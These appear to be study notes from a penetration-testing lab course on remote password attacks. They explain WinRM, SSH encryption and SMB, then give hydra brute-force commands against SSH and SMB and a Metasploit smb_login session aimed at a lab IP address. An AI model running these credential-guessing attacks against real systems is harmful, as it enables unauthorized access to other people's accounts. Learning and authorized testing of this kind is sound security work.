---
title: "3. Remote PW atks - Network Services"
date: 2024-08-03
draft: false
---

## Password attacks - WinRM

[Windows Remote Management](https://docs.microsoft.com/en-us/windows/win32/winrm/portal) (`WinRM`) is the Microsoft implementation of the network protocol [Web Services Management Protocol](https://docs.microsoft.com/en-us/windows/win32/winrm/ws-management-protocol) (`WS-Management`). It is a network protocol based on XML web services using the [Simple Object Access Protocol](https://docs.microsoft.com/en-us/windows/win32/winrm/windows-remote-management-glossary) (`SOAP`) used for remote management of Windows systems. It takes care of the communication between [Web-Based Enterprise Management](https://en.wikipedia.org/wiki/Web-Based_Enterprise_Management) (`WBEM`) and the [Windows Management Instrumentation](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page) (`WMI`), which can call the [Distributed Component Object Model](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0) (`DCOM`).
However, for security reasons, WinRM must be activated and configured manually in Windows 10. Therefore, it depends heavily on the environment security in a domain or local network where we want to use WinRM. In most cases, one uses certificates or only specific authentication mechanisms to increase its security. WinRM uses the TCP ports `5985` (`HTTP`) and `5986` (`HTTPS`).
A handy tool that we can use for our password attacks is [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec), which can also be used for other protocols such as SMB, LDAP, MSSQL, and others.

Common network services installed to manage/edit/create content: 

| FTP       | SMB   | NFS         |
| --------- | ----- | ----------- |
| IMAP/POP3 | SSH   | MySQL/MSSQL |
| RDP       | WinRM | VNC         |
| Telnet    | SMTP  | LDAP        |

#### pw attacks - ssh
This service uses three different cryptography operations/methods: `symmetric` encryption, `asymmetric` encryption, and `hashing`.

Symmetric: 
- Same key for encrypt/decrypt
- Key exchange procedure required for symmetric
- Diffie-Hellman exch. method used for this purpose. 
- AES; Blowfish; 3DES

Asym:
- Two keys: private/public keys. 
- private must remain secret because it alone can decrypt msgs encrypted with pub key. 

Hashing: 
- Converts transmitted data into another unique value
- ssh uses hashing to confirm authenticity of messages - mathematical one-way algorithm 

---
hydra: 
```shell-session
hydra -L user.list -P password.list ssh://10.129.42.197
```

#### pw attacks - SMB
[Server Message Block](https://docs.microsoft.com/en-us/windows/win32/fileio/microsoft-smb-protocol-and-cifs-protocol-overview) (`SMB`) is a protocol responsible for transferring data between a client and a server in local area networks. It is used to implement file and directory sharing and printing services in Windows networks. SMB is often referred to as a file system, but it is not. SMB can be compared to `NFS` for Unix and Linux for providing drives on local networks.

SMB is also known as [Common Internet File System](https://cifs.com/) (`CIFS`). It is part of the SMB protocol and enables universal remote connection of multiple platforms such as Windows, Linux, or macOS

For SMB, we can also use `hydra` again to try different usernames in combination with different passwords.

```shell-session
hydra -L user.list -P password.list smb://10.129.42.197
```

we can also use metasploit 
```shell-session
stejwes@htb[/htb]$ msfconsole -q

msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > options 
[...]

msf6 auxiliary(scanner/smb/smb_login) > set user_file user.list

user_file => user.list


msf6 auxiliary(scanner/smb/smb_login) > set pass_file password.list

pass_file => password.list


msf6 auxiliary(scanner/smb/smb_login) > set rhosts 10.129.42.197

rhosts => 10.129.42.197

msf6 auxiliary(scanner/smb/smb_login) > run

```


